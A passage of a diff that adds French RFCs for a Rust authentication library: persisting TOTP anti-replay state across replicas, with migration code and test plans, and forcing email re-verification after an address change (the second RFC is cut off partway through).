358 +| Stabilité API | 4 | Signatures inchangées, mais payloads autrefois 200/201 passent en 400 (underscore, casse, max 64→39). |
359 +| Performance | 5 | Parse CPU trivial hors bcrypt/JWT ; aucun I/O, aucun bench requis. |
360 +| Sécurité | 5 | Ferme M-1 (backticks, collision `Alice`/`alice`, usurpation de segments) sans casser le login grandfathered. |
361 +| Complexité d'implémentation | 4 | Un fichier newtype + 3 call sites + OAuth/admin à aligner ; pas d’`unsafe`, pas de migration DB. |
362 +| Charge de maintenance | 5 | Zéro nouvelle dépendance ; une liste réservée partagée avec `TeamSlug` (test de non-drift). |
363 +| Documentation | 4 | Rustdoc + doctest + CHANGELOG + ce RFC ; examples rustdoc `john_doe` à corriger à l’impl. |
364 +| **Total** | **32/35** | (≥ 25 pour Accepted) |
A docs/rfcs/0037-totp-last-used-step.md
+348 -0
@@ -0,0 +1,348 @@
1 +# RFC 0037 — Persister l’anti-rejeu TOTP (`last_used_step`)
2 +
3 +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1)
4 +- **Date** : 2026-09-18
5 +- **Statut** : Accepted (2026-09-18)
6 +- **Apps consommatrices concernées** : Gitrust (déploiements multi-réplicas) ; tout consommateur de `rustwarden-core` qui appelle `TotpService::verify_code` / `verify_and_enable` (API `POST /api/v1/auth/2fa/verify`, UI login 2FA, apps headless)
7 +- **Crate cible** : `rustwarden-core`
8 +- **Origine** : constat M-7 du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 14). RFC **obligatoire** : changement de schéma DB ([`RUSTWARDEN_EVOLUTION_PROCESS.md` §2](../RUSTWARDEN_EVOLUTION_PROCESS.md#2-quand-une-rfc-est-obligatoire)).
9 +
10 +## Summary
11 +
12 +Persister en base le garde anti-rejeu TOTP livré in-process en 1.0.1 (`matching_totp_step` + cache `OnceLock`) via une colonne `user_totp.last_used_step`, mise à jour par un `UPDATE` conditionnel SeaORM, pour que deux réplicas n’acceptent plus le même code.
13 +
14 +## Motivation
15 +
16 +### Problème concret (audit M-7)
17 +
18 +`totp-rs` avec pas de 30 s et skew ±1 accepte le **même** code pendant ~90 s. Le patch 1.0.1 ferme le rejeu **dans un processus** :
19 +
20 +- [`matching_totp_step`](../../crates/rustwarden-core/src/services/totp_service.rs) (`pub(crate)`, ~L34–62) : `TOTP::check` (skew ±1, `constant_time_eq`), puis identification du pas qui a **matché** parmi `t-1`, `t`, `t+1` (`unix_time / 30`).
21 +- [`totp_replay_guard_accept`](../../crates/rustwarden-core/src/services/totp_service.rs) (~L67–84) : cache `OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>>`, TTL 90 s. Même `(user_id, step)` → `false` (sémantique identique à un code invalide, pas d’oracle).
22 +- [`TotpService::verify_code`](../../crates/rustwarden-core/src/services/totp_service.rs) (~L249–268) : `matching_totp_step` puis le garde ; `Ok(false)` si rejeu.
23 +
24 +Ce cache **ne se partage pas** entre processus. Deux réplicas Gitrust (ou un rolling restart) acceptent le même code une fois chacun. `CHANGELOG.md` 1.0.1 le documente : *« Pas de migration `last_used_step` (RFC 0037) »*.
25 +
26 +### Quel step stocker
27 +
28 +Ne **pas** écrire `now / 30` en aveugle. Un code de la fenêtre précédente (`t-1`) serait accepté, `last_used_step` passerait à `t`, et un second code du pas courant pourrait encore passer — ou l’inverse. Il faut retenir le pas renvoyé par `matching_totp_step` (celui dont `totp.generate(step * 30) == code`).
29 +
30 +### Qui est impacté
31 +
32 +- Gitrust et tout déploiement `rustwarden-core` à **plus d’une** instance.
33 +- Les utilisateurs 2FA : un code OTP déjà consommé reste invalide partout, pas seulement sur le réplica qui l’a vu.
34 +- Les opérateurs : une migration SeaORM (`BIGINT NULL`) au bump qui livre cette RFC.
35 +
36 +### Si on ne fait rien
37 +
38 +Le garde 1.0.1 reste correct en instance unique. En multi-réplicas, M-7 reste ouvert. Gitrust devrait réimplémenter un store partagé (Redis, etc.) en divergence du framework.
39 +
40 +### Urgence
41 +
42 +Pas un patch 1.0.1 (migration). Bloquant pour les déploiements HA dès que 1.0.1 est en prod. Pas d’incident unique documenté ; durcissement authn (critère RFC : schéma DB).
43 +
44 +## Non-goals
45 +
46 +- **Pas de relais Evilginx live** : un MITM interactif présente le code **une seule fois** ; ni le garde in-process ni `last_used_step` ne l’arrêtent.
47 +- **Pas de changement d’algorithme / digits / période / skew** : SHA1, 6 digits, 30 s, skew 1 (`TOTP::new` actuel).
48 +- **Pas de backup codes** : déjà one-shot (`verify_backup_code` retire le hash consommé).
49 +- **Pas de Redis / store externe** obligatoire : PostgreSQL (déjà la source de vérité `user_totp`) suffit.
50 +- **Pas d’oracle** : rejeu et code faux renvoient tous les deux `Ok(false)` / `TotpFailed` selon le call site actuel — pas de 409 distinct.
51 +- **Pas de `CHECK` SQL** sur la monotonie : la monotonie est garantie par le `WHERE` de l’`UPDATE`.
52 +- **Pas de SQL brut applicatif** : SeaORM uniquement (`update_many` + filtres). La migration utilise `SchemaManager::alter_table`.
53 +
54 +## API proposée
55 +
56 +Aucun nouvel item `pub` obligatoire. Comportement de `TotpService::verify_code` (et `verify_and_enable`) enrichi. Schéma + modèle.
57 +
58 +### Schéma
59 +
60 +Migration `crates/rustwarden-core/src/migrations/m20260918_000010_totp_last_used_step.rs`, enregistrée dans [`migrations/mod.rs`](../../crates/rustwarden-core/src/migrations/mod.rs) (`pub mod` + `core_migrations()`). Prochain numéro après `m20260510_000009_fediverse_interop`.
61 +
62 +```rust
63 +// crates/rustwarden-core/src/migrations/m20260918_000010_totp_last_used_step.rs
64 +use sea_orm_migration::prelude::*;
65 +
66 +#[derive(DeriveMigrationName)]
67 +pub struct Migration;
68 +
69 +#[async_trait::async_trait]
70 +impl MigrationTrait for Migration {
71 + async fn up(&self, manager: &SchemaManager) -> Result<(), DbErr> {
72 + manager
73 + .alter_table(
74 + Table::alter()
75 + .table(UserTotp::Table)
76 + .add_column(
77 + ColumnDef::new(UserTotp::LastUsedStep)
78 + .big_integer()
79 + .null(),
80 + )
81 + .to_owned(),
82 + )
83 + .await
84 + }
85 +
86 + async fn down(&self, manager: &SchemaManager) -> Result<(), DbErr> {
87 + manager
88 + .alter_table(
89 + Table::alter()
90 + .table(UserTotp::Table)
91 + .drop_column(UserTotp::LastUsedStep)
92 + .to_owned(),
93 + )
94 + .await
95 + }
96 +}
97 +
98 +#[derive(Iden)]
99 +enum UserTotp {
100 + Table,
101 + LastUsedStep,
102 +}
103 +```
104 +
105 +Équivalent SQL (documentation ; **non** exécuté par l’app) :
106 +
107 +```sql
108 +ALTER TABLE user_totp ADD COLUMN last_used_step BIGINT NULL;
109 +```
110 +
111 +Réversible : `DROP COLUMN last_used_step`. Les lignes existantes restent `NULL` → premier code post-migration toujours accepté.
112 +
113 +### Modèle
114 +
115 +[`user_totp::Model`](../../crates/rustwarden-core/src/models/user_totp.rs) aujourd’hui : `id`, `user_id`, `secret_encrypted`, `enabled`, `backup_codes_encrypted`, `backup_codes_remaining`, `enabled_at`, `created_at`, `updated_at`. **Après Accept** :
116 +
117 +```rust
118 +/// Last TOTP time-step (`unix_epoch / 30`) that was successfully consumed.
119 +/// `None` until the first accepted code after this column exists.
120 +pub last_used_step: Option<i64>,
121 +```
122 +
123 +Type `i64` : SeaORM mappe PostgreSQL `BIGINT`. `matching_totp_step` renvoie `u64` ; conversion `i64::try_from(step)` — un pas Unix/30 tient dans `i64` pour des siècles. Échec de conversion → traiter comme code invalide (`Ok(false)`), pas de panic.
124 +
125 +`setup` (`TotpService` insert `enabled=false`) : `last_used_step: NotSet` (NULL).
126 +
127 +### Concurrence (source de vérité)
128 +
129 +Succès **ssi** `rows_affected == 1` :
130 +
131 +```sql
132 +UPDATE user_totp
133 +SET last_used_step = $step
134 +WHERE user_id = $id
135 + AND (last_used_step IS NULL OR last_used_step < $step)
136 +```
137 +
138 +Comparaison **stricte** `<` : le même pas est un rejeu. Un pas plus grand (fenêtre suivante) passe.
139 +
140 +Proposition SeaORM (pas de SQL applicatif) :
141 +
142 +```rust
143 +use chrono::Utc;
144 +use sea_orm::{
145 + ColumnTrait, Condition, EntityTrait, QueryFilter, sea_query::Expr,
146 +};
147 +use crate::models::user_totp;
148 +
149 +/// Consume `step` for `user_id`. Returns true iff this replica won the CAS.
150 +async fn claim_totp_step(
151 + db: &sea_orm::DatabaseConnection,
152 + user_id: uuid::Uuid,
153 + step: u64,
154 +) -> Result<bool, crate::error::AppError> {
155 + let step_i64 = i64::try_from(step).map_err(|_| {
156 + crate::error::AppError::Internal("TOTP step does not fit in i64".into())
157 + })?;
158 +
159 + let result = user_totp::Entity::update_many()
160 + .col_expr(user_totp::Column::LastUsedStep, Expr::value(step_i64))
161 + .col_expr(user_totp::Column::UpdatedAt, Expr::value(Utc::now()))
162 + .filter(user_totp::Column::UserId.eq(user_id))
163 + .filter(
164 + Condition::any()
165 + .add(user_totp::Column::LastUsedStep.is_null())
166 + .add(user_totp::Column::LastUsedStep.lt(step_i64)),
167 + )
168 + .exec(db)
169 + .await?;
170 +
171 + Ok(result.rows_affected == 1)
172 +}
173 +```
174 +
175 +Les snippets ci-dessus sont **proposés** (Draft) : ils ne compilent pas tant que la colonne n’existe pas.
176 +
177 +### Flux `verify_code` après Accept
178 +
179 +Ordre (évite de polluer le cache in-process si le CAS DB perd) :
180 +
181 +1. Charger `user_totp` `enabled=true` (inchangé) ; sinon `AppError::TotpNotEnabled`.
182 +2. `matching_totp_step(&secret, code)` → `None` ⇒ `Ok(false)` (aucun `UPDATE`).
183 +3. `claim_totp_step(db, user_id, step)` → `false` ⇒ `Ok(false)` (rejeu inter-réplicas ou même pas).
184 +4. Optionnel : `totp_replay_guard_accept` **après** le CAS gagné, comme court-circuit intra-processus pour les rejeux suivants sur **ce** réplica (évite un `UPDATE` no-op). Le CAS DB reste autoritatif.
185 +5. `Ok(true)`.
186 +
187 +`verify_and_enable` (~L208) appelle aujourd’hui `verify_totp_code` **sans** garde in-process. Après Accept : après match, `claim_totp_step` puis `enabled=true`. Le code de setup ne peut pas servir immédiatement de login sur un autre réplica.
188 +
189 +Signatures **inchangées** :
190 +
191 +```rust
192 +impl TotpService {
193 + pub async fn verify_code(
194 + db: &DatabaseConnection,
195 + user_id: Uuid,
196 + code: &str,
197 + ) -> Result<bool, AppError> { /* ... */ }
198 +
199 + pub async fn verify_and_enable(
200 + db: &DatabaseConnection,
201 + user_id: Uuid,
202 + code: &str,
203 + ) -> Result<Vec<String>, AppError> { /* ... */ }
204 +}
205 +```
206 +
207 +### Usage consommateur
208 +
209 +Aucun changement d’appel. Gitrust continue :
210 +
211 +```rust
212 +let accepted = rustwarden_core::services::totp_service::TotpService::verify_code(
213 + db, user_id, code,
214 +).await?;
215 +if !accepted {
216 + // invalid or replay — same branch, no oracle
217 +}
218 +```
219 +
220 +## Analyse de compatibilité
221 +
222 +Checklist :
223 +
224 +- [x] API existante non modifiée → **non-breaking compile** (signatures `verify_code` / `verify_and_enable` inchangées).
225 +- [ ] API existante étendue avec défaut → N/A (pas de nouveau `pub` requis).
226 +- [ ] API existante modifiée ou supprimée → non.
227 +- [x] Nouveau comportement par défaut → un code déjà consommé sur le réplica A est refusé sur B (voulu). Instance unique : déjà le cas via le garde 1.0.1.
228 +- [x] Changement de schéma DB → **oui** : `last_used_step BIGINT NULL`, migration up/down. Pas de rewrite de données. `NULL` = grandfathering du premier code.
229 +- [ ] Changement de format sérialisé → non (`user_totp` n’est pas un DTO JSON public).
230 +
231 +SemVer : mineure (schéma + comportement de durcissement, signatures stables). Processus §1 : un changement de défaut peut être breaking ; ici le 1.0.1 a déjà le même rejet en mono-instance. Documenter en `Security` dans le CHANGELOG.
232 +
233 +## Alternatives considérées
234 +
235 +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif.
236 +
237 +### Alternative A (recommandée) : colonne `last_used_step` + CAS SeaORM
238 +
239 +**Pros** : correct dès 2 réplicas sans Redis. Step matché (pas `now/30`). Atomicité PostgreSQL. Réversible (`NULL` / `DROP COLUMN`). Réutilise `matching_totp_step` déjà testé. Pas d’oracle. Constitution : pas de SQL applicatif.
240 +
241 +**Cons** : un `UPDATE` de plus sur le hot path 2FA (déjà un `SELECT` + decrypt). Migration à jouer sur toutes les apps. Tests de concurrence plus lourds.
242 +
243 +### Alternative B : garde in-process uniquement (statut 1.0.1)
244 +
245 +**Pros** : zéro migration, déjà livré, TTL 90 s, tests unitaires verts (`matching_totp_step_*`, `totp_replay_guard_accept`).
246 +
247 +**Cons** : **insuffisant dès 2 réplicas** (M-7). Rolling restart vide le `OnceLock`. Sticky sessions ne sont pas une garantie de sécu. Gitrust devrait forker un store.
248 +
249 +### Alternative C (ne rien faire / persister rien)
250 +
251 +**Pros** : zéro coût, zéro risque de migration.
252 +
253 +**Cons** : rejeu inter-instances ouvert à vie ; dette consommateur ; contredit l’audit M-7 et le CHANGELOG qui pointe déjà cette RFC.
254 +
255 +## Testing plan
256 +
257 +Tests unitaires (étendre [`totp_service.rs` tests](../../crates/rustwarden-core/src/services/totp_service.rs) ~L623+) :
258 +
259 +- Happy path : `matching_totp_step` renvoie le pas **courant** ; après `claim_totp_step` une fois, `last_used_step == Some(step)`.
260 +- Erreur 1 — input invalide : code `"1"` / 5 digits → `matching_totp_step == None`, **aucun** `UPDATE` (assert DB inchangée).
261 +- Erreur 2 — contrainte violée (rejeu même pas) : second `claim_totp_step` / `verify_code` avec le même code → `Ok(false)`, `rows_affected == 0`, `last_used_step` inchangé.
262 +- Erreur 3 — fenêtre plus ancienne : accepter `t`, puis présenter le code de `t-1` → `matching_totp_step` peut encore matcher le secret, mais `last_used_step < t-1` est faux → `Ok(false)`.
263 +- Erreur 4 (timeout / panic path) : `i64::try_from` n’est pas exercé en pratique ; tester `claim_totp_step` si `update_many` renvoie `DbErr` → `AppError::Database`, pas `Ok(true)` fail-open.
264 +
265 +Tests d’intégration (service / DB) :
266 +
267 +- `verify_code` happy path sur DB de test : premier code `true`, rejeu `false`.
268 +- Deux tâches tokio concurrentes, même `(user_id, step)` : exactement une `true`.
269 +- Migration up : colonne nullable présente ; rows existantes `NULL` ; premier verify OK. Migration down : colonne absente, données `user_totp` restantes intactes (`secret_encrypted`, `enabled`).
270 +- `verify_and_enable` pose `last_used_step` ; un `verify_code` immédiat avec le même code → `false`.
271 +
272 +Tests de non-régression :
273 +
274 +- Code consommateur **compile** (signatures inchangées).
275 +- Backup codes : `verify_backup_code` ne lit/écrit pas `last_used_step`.
276 +- Garde in-process 1.0.1 : tests `totp_replay_guard_accept` restent verts (court-circuit optionnel).
277 +- Baseline Draft : `cargo test -p rustwarden-core totp_service --lib` (garde + `matching_totp_step`) — à relancer après impl.
278 +
279 +Doctests :
280 +
281 +- Pas de nouvel item `pub`. Enrichir la rustdoc de `TotpService::verify_code` (anglais) : replay → `Ok(false)`. Exemple `ignore` si DB requise ; un doctest exécutable n’est pas réaliste sans secret + horloge.
282 +
283 +Benchs : comparer latence `verify_code` avant/après (SELECT+decrypt vs +UPDATE). Régression > 10 % bloque le merge sans justification. Attendu : un UPDATE PK `user_id` ≪ bcrypt backup codes.
284 +
285 +Les exemples `claim_totp_step` ne sont **pas** exécutables avant l’implémentation.
286 +
287 +## Migration guide
288 +
289 +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge.
290 +
291 +```markdown
292 +### API changes
293 +
294 +**Before (v1.0.1)** :
295 +`TotpService::verify_code` refusait le rejeu du même pas TOTP **dans le
296 +processus** (cache 90 s). Deux réplicas pouvaient accepter le même code.
297 +Pas de colonne `last_used_step`.
298 +
299 +**After (vX.Y.Z)** :
300 +Colonne `user_totp.last_used_step BIGINT NULL`. Après `matching_totp_step`
301 +(pas qui a matché, pas `now/30`), un `UPDATE` conditionnel SeaORM
302 +(`last_used_step IS NULL OR last_used_step < $step`) consomme le pas.
303 +Succès ssi `rows_affected == 1` ; sinon `Ok(false)` (même sémantique
304 +qu'un code invalide). `verify_and_enable` consomme aussi le pas.
305 +
306 +Aucune signature publique changée.
307 +
308 +### Migration steps
309 +
310 +1. Bump `rustwarden-core` à la version qui livre RFC 0037.
311 +2. Jouer les migrations (`cargo run --bin migrate` ou `auto_migrate`) :
312 + `m20260918_000010_totp_last_used_step`.
313 +3. Aucun rewrite de données. Les secrets TOTP existants restent valides.
314 +4. Redémarrer **tous** les réplicas après la migration (rolling OK : un
315 + réplica pré-colonne crashera au SELECT/UPDATE tant que le schéma n'est
316 + pas à jour — migrer avant le binaire).
317 +5. Gitrust : aucun workaround Redis à conserver pour ce rejeu.
318 +```
319 +
320 +## Open questions
321 +
322 +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus :
323 +
324 +- [x] **Garde in-process après CAS** : le conserver comme court-circuit (recommandé) ou le retirer une fois la colonne livrée (moins de chemins) ? **Résolu (2026-09-18) : conservée comme court-circuit intra-processus après CAS gagné ; le CAS DB reste autoritatif.**
325 +- [x] **`verify_and_enable`** : confirmer qu’il **doit** `claim_totp_step` (recommandé) pour bloquer le replay setup→login. **Résolu (2026-09-18) : confirmé — `verify_and_enable` consomme aussi le pas via `claim_totp_step` (bloque le rejeu setup→login).**
326 +- [x] **SemVer** : minor Security vs major ? Signatures stables, schéma additif nullable. **Résolu (2026-09-18) : 1.1.0 minor Security (schéma additif nullable, signatures stables).**
327 +- [x] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. **Résolu (2026-09-18) : suivi interne via docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md.**
328 +
329 +## Tracking issue
330 +
331 +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant l’audit M-7, le CHANGELOG 1.0.1 et Gitrust comme premier consommateur HA. Pas d’URL tant que le Draft n’est pas soumis.
332 +
333 +---
334 +
335 +## Score d'évaluation (rempli par les reviewers)
336 +
337 +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35.
338 +
339 +| Critère | Note (1-5) | Commentaire |
340 +|---|---|---|
341 +| Généralité | 5 | Tout consommateur 2FA multi-instance ; Gitrust n’a plus à forker un store. |
342 +| Stabilité API | 5 | Signatures inchangées ; colonne nullable ; `NULL` = premier code OK. |
343 +| Performance | 4 | Un `UPDATE` PK de plus sur le path 2FA ; pas de bcrypt. Bench à coller au merge. |
344 +| Sécurité | 5 | Ferme M-7 inter-réplicas ; pas d’oracle ; step matché (pas `now/30`) ; CAS. |
345 +| Complexité d'implémentation | 4 | Migration SeaORM + `update_many` + tests concurrence ; pas d’`unsafe`. |
346 +| Charge de maintenance | 4 | Une colonne, pas de Redis ; garde in-process optionnel à ne pas faire dériver. |
347 +| Documentation | 4 | RFC + CHANGELOG + rustdoc `verify_code` ; migration up/down. |
348 +| **Total** | **31/35** | (≥ 25 pour Accepted) |
A docs/rfcs/0038-email-change-revalidation.md
+266 -0
@@ -0,0 +1,266 @@
1 +# RFC 0038 — Revalidation e-mail à `UserService::update_profile`
2 +
3 +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1)
4 +- **Date** : 2026-09-18
5 +- **Statut** : Accepted (2026-09-18) — **Superseded by [0041](0041-pending-email-changes.md)**
6 +
7 +> **Remplacée par [RFC 0041](0041-pending-email-changes.md) (2026-09-19)** : la v1 décrite ici n'a jamais été diffusée ; voir 0041 pour le flux livré.
8 +
9 +- **Apps consommatrices concernées** : Gitrust ; `rustwarden-ui` (`PUT /settings/profile`, `PUT /admin/users/:id`) ; tout consommateur qui appelle `UserService::update_profile`
10 +- **Crate cible** : `rustwarden-core`
11 +- **Origine** : plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 15)
12 +
13 +## Summary
14 +
15 +Quand `UserService::update_profile` écrit une **nouvelle** adresse e-mail, basculer `email_verified=false` / `email_verified_at=NULL`, enqueuer un mail de validation vers la **nouvelle** adresse et une alerte vers l’**ancienne**, sans table `pending_*` (v1 YAGNI).
16 +
17 +## Motivation
18 +
19 +### Problème concret
20 +
21 +[`UserService::update_profile`](../../crates/rustwarden-core/src/services/user_service.rs) (~L157–217) accepte `email: Option<String>`, vérifie un format minimal (`@` + `.`) et l’unicité, puis :
22 +
23 +```rust
24 +updated_user.email = Set(new_email.clone());
25 +```
26 +
27 +`email_verified` et `email_verified_at` ne sont **pas** touchés. Un compte déjà vérifié qui passe à `attacker@evil.example` reste `email_verified=true`.
28 +
29 +Call sites actuels :
30 +
31 +| Call site | Comportement aujourd’hui |
32 +|---|---|
33 +| [`rustwarden-ui` `PUT /settings/profile`](../../crates/rustwarden-ui/src/handlers/settings/profile.rs) | `update_profile` puis, si e-mail changé : invalide les password-change pending ; enqueue `account_modified` vers **nouvelle et ancienne** adresses. **Pas** de `send_validation_email`. **Pas** de reset `email_verified`. |
34 +| [`admin_handler::update_user`](../../crates/rustwarden-ui/src/handlers/admin_handler.rs) (~L1286) | `update_profile(..., None, Some(new_email))` **sans** mail de validation ni alerte. |
35 +| Gitrust / apps headless | même trou dès qu’elles appellent le service. |
36 +
37 +Conséquence : prise de contrôle silencieuse de l’identité e-mail (reset password, notifications, recovery) tout en conservant le flag vérifié. Couplé à RFC 0040 (`validation_email_required` dans `authenticate_user`), garder `email_verified=true` après un changement **contourne** aussi le blocage login.
38 +
39 +### Qui est impacté
40 +
41 +- Tout utilisateur qui change d’e-mail via profil ou admin.
42 +- Les opérateurs : un user « verified » qui change d’adresse **perd l’accès** tant que `validation_email_required` est vrai (voulu — voir Breaking).
43 +- Gitrust n’a plus à patcher `update_profile` localement.
44 +
45 +### Si on ne fait rien
46 +
47 +Le flag vérifié suit l’ancienne preuve vers une nouvelle boîte. L’UI envoie déjà un `account_modified` (incomplet, et seulement sur le chemin profil, pas admin). Divergence consommateurs.
48 +
49 +### Urgence
50 +
51 +Pas un patch 1.0.1. Durcissement de politique d’identité (comportement par défaut de `update_profile`). Pas de nouvelle table en v1 → RFC tout de même : changement de comportement par défaut + impact login (processus §2).
52 +
53 +## Non-goals
54 +
55 +- **Pas de table `pending_email_changes` en v1** (YAGNI). L’e-mail en base **devient** la nouvelle adresse immédiatement. v2 est évaluée ci-dessous comme follow-up.
56 +- **Pas de charset e-mail** (hors RFC 0036 usernames).
57 +- **Pas de modification du hook** [`RustwardenHooks::on_email_verified`](../../crates/rustwarden-core/src/hooks.rs) (~L91) : il reste appelé uniquement après un token de validation consommé (`EmailValidationService`).
58 +- **Pas de changement du flow register** (`create_user` pose déjà `email_verified: false`).
59 +- **Pas de réécriture OAuth** (`OAuthService` pose `email_verified` selon le provider — hors scope).
60 +- **Pas de signature breaking** de `update_profile` (reste `db, user_id, username: Option<String>, email: Option<String>`).
61 +- **Pas d’échec dur** si SMTP n’est pas configuré : même contrat que `register` (`EmailConfig::from_env()` best-effort + `tracing::warn`).
62 +
63 +## API proposée
64 +
65 +### v1 (recommandée) — flags + deux enqueues, pas de table
66 +
67 +Signature **aujourd’hui**, à conserver :
68 +
69 +```rust
70 +// crates/rustwarden-core/src/services/user_service.rs
71 +impl UserService {
72 + pub async fn update_profile(
73 + db: &DatabaseConnection,
74 + user_id: Uuid,
75 + username: Option<String>,
76 + email: Option<String>,
77 + ) -> Result<user::Model, AppError> { /* ... */ }
78 +}
79 +```
80 +
81 +Comportement **après Accept**, branche `if let Some(new_email) = &email` (~L190–205), **après** les validations format/unicité, **avant** `update` :
82 +
83 +1. Si `new_email` (trim) **égal** à `user.email` : ne pas toucher `email_verified` / `email_verified_at` (no-op e-mail ; un rename username seul ne revalide pas).
84 +2. Si `new_email` **différent** :
85 + - `updated_user.email = Set(new_email.clone())` (inchangé).
86 + - `updated_user.email_verified = Set(false)`.
87 + - `updated_user.email_verified_at = Set(None)`.
88 + - Mémoriser `old_email = user.email.clone()` pour l’alerte.
89 +3. Persister (`updated_user.update(db)`).
90 +4. Enqueue validation vers la **nouvelle** adresse : `EmailValidationService::new(cfg).send_validation_email(db, user_id)` — lit `user.email` **déjà** mis à jour, invalide les anciens tokens (`invalidate_previous_tokens`), type de queue `"email_validation"`. Même helper que [`register`](../../crates/rustwarden-core/src/auth/handlers.rs) (~L1488).
91 +5. Enqueue alerte vers l’**ancienne** adresse (`EmailQueueService::enqueue`, `to_email = old_email`, type `"email_changed"` ou réutiliser `"account_modified"` avec `AccountModifiedTemplate` champ `Email`). Message du type « votre adresse e-mail a été changée » ; **ne pas** y coller le lien de validation (ce lien va uniquement à la nouvelle boîte).
92 +6. `tracing::warn!` (user_id, old/new masqués) pour SIEM. Si un handler a des `RustwardenHooks`, il **peut** émettre `on_audit_event` (`kind: "user.email_changed"`) — `UserService` ne prend pas `hooks` (signature stable). `on_email_verified` inchangé.
93 +
94 +`EmailConfig::from_env()` : si `Err`, skip 4–5 + `tracing::warn` (comme register). L’update DB **réussit** quand même : l’utilisateur peut `POST /api/v1/auth/resend-verification`.
95 +
96 +Schéma `users` **inchangé** (`email_verified: bool`, `email_verified_at: Option<DateTime<Utc>>` déjà présents).
97 +
98 +### Usage consommateur
99 +
100 +```rust
101 +use rustwarden_core::error::AppError;
102 +use rustwarden_core::services::user_service::UserService;
103 +use sea_orm::DatabaseConnection;
104 +use uuid::Uuid;
105 +
106 +async fn change_email(
107 + db: &DatabaseConnection,
108 + user_id: Uuid,
109 + new_email: String,
110 +) -> Result<(), AppError> {
111 + // Same signature. After this RFC, a previously verified user
112 + // becomes email_verified=false until they click the new link.
113 + let _user = UserService::update_profile(db, user_id, None, Some(new_email)).await?;
114 + Ok(())
115 +}
116 +```
117 +
118 +`rustwarden-ui` profil : retirer le double enqueue `account_modified` **pour le champ e-mail** (évite 4 mails). Conserver l’invalidation `PasswordChangeService::invalidate_on_email_change` (déjà là). Conserver `account_modified` pour un rename username seul. Admin : aucun extra — le service couvre le trou.
119 +
120 +### v2 (follow-up, hors implémentation de cette RFC)
121 +
122 +Table `pending_email_changes` (`user_id`, `new_email`, `token_hash`, `expires_at`) : l’e-mail **courant** reste vérifié jusqu’au clic sur un lien envoyé à la **nouvelle** boîte ; l’ancienne reçoit l’alerte. Plus sûr contre un attaquant session-volée qui change l’e-mail pour lock-out. Coût : migration, tokens, courses admin vs user, expiration, UI « pending ».
123 +
124 +**Décision Draft** : v1 score proposé **28/35** (≥ 25) → v2 **marquée follow-up**, pas dans le PR d’implémentation. Réévaluer si un incident de prise de contrôle de session + changement d’e-mail le justifie.
125 +
126 +## Analyse de compatibilité
127 +
128 +Checklist :
129 +
130 +- [x] API existante non modifiée → signatures `update_profile` **inchangées** (compile).
131 +- [ ] API existante étendue avec défaut → N/A.
132 +- [x] API existante modifiée ou supprimée → **breaking comportemental** : un user vérifié qui change d’e-mail n’est plus vérifié.
133 +- [x] Nouveau comportement par défaut → `email_verified=false` dès que l’adresse change. Feature-flag : non (sécurité). Les apps qui s’appuyaient sur « changer l’e-mail sans revalider » cassent **volontairement**.
134 +- [ ] Changement de schéma DB → **non** en v1.
135 +- [ ] Changement de format sérialisé → le JSON profil peut renvoyer `email_verified: false` après update (si le DTO l’expose).
136 +
137 +### Breaking (voulu)
138 +
139 +Si `AppSettingsService::get_bool_with_fallback(["validation_email_required", "validation_email_requise"], true)` est vrai (défaut), l’utilisateur **perd le login** jusqu’au clic sur le lien (RFC 0040 une fois livrée ; aujourd’hui seulement le handler HTTP `login`). Session JWT **déjà émise** : hors scope (pas de révocation globale ici). Password reset ira à la nouvelle adresse non encore prouvée — acceptable en v1 ; v2 retarderait l’écriture.
140 +
141 +Admin qui change l’e-mail d’un user : même un-verify. L’admin doit prévenir l’utilisateur (alerte ancienne boîte + validation nouvelle).
142 +
143 +## Alternatives considérées
144 +
145 +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif.
146 +
147 +### Alternative A (recommandée) : v1 YAGNI (un-verify + validation new + alerte old)
148 +
149 +**Pros** : ferme le bug sur **tous** les call sites (`update_profile` unique porte). Pas de migration. Réutilise `EmailValidationService::send_validation_email` et `EmailQueueService`. Aligné register. Score ≥ 25 → v2 plus tard.
150 +
151 +**Cons** : window où la nouvelle adresse est en base sans preuve (lock-out + reset vers une boîte non possédée si session volée). Breaking login. L’UI profil doit dédupliquer ses mails.
152 +
153 +### Alternative B : v2 `pending_email_changes` dès maintenant
154 +
155 +**Pros** : l’ancienne adresse reste vérifiée jusqu’à confirmation ; résiste mieux au vol de session ; pas de lock-out immédiat.
156 +
157 +**Cons** : migration + service + UI « pending » + courses admin ; YAGNI pour le bug actuel (flag qui ne bascule pas). Retarde la fermeture M. Score estimé : Généralité 4, Stabilité 3 (nouvelle table + API), Perf 4, Sécu 5, Complexité 2, Maintenance 3, Doc 4 → **25/35** pile, plus risqué à livrer en même temps que 0037/0040.
158 +
159 +### Alternative C (ne rien faire / garder le workaround UI)
160 +
161 +**Pros** : zéro coût upstream. L’UI profil notifie déjà old+new (`account_modified`) sans retirer le flag.
162 +
163 +**Cons** : `email_verified` reste vrai ; chemin **admin** et Gitrust non couverts ; reset password / login restent attachés à une preuve obsolète. Contredit l’audit.
164 +
165 +## Testing plan
166 +
167 +Tests unitaires / service (MockDatabase ou DB de test existante de `UserService`) :
168 +
169 +- Happy path : user `email_verified=true`, `update_profile(..., email: Some("new@example.com"))` → row `email=new@example.com`, `email_verified=false`, `email_verified_at=NULL` ; une entrée `email_queue` `email_validation` vers **new** ; une entrée alerte vers **old**.
170 +- Erreur 1 — input invalide : `"not-an-email"` (pas de `@` / `.`) → `AppError::Validation("Invalid email format")` ; flags inchangés ; **aucune** queue.
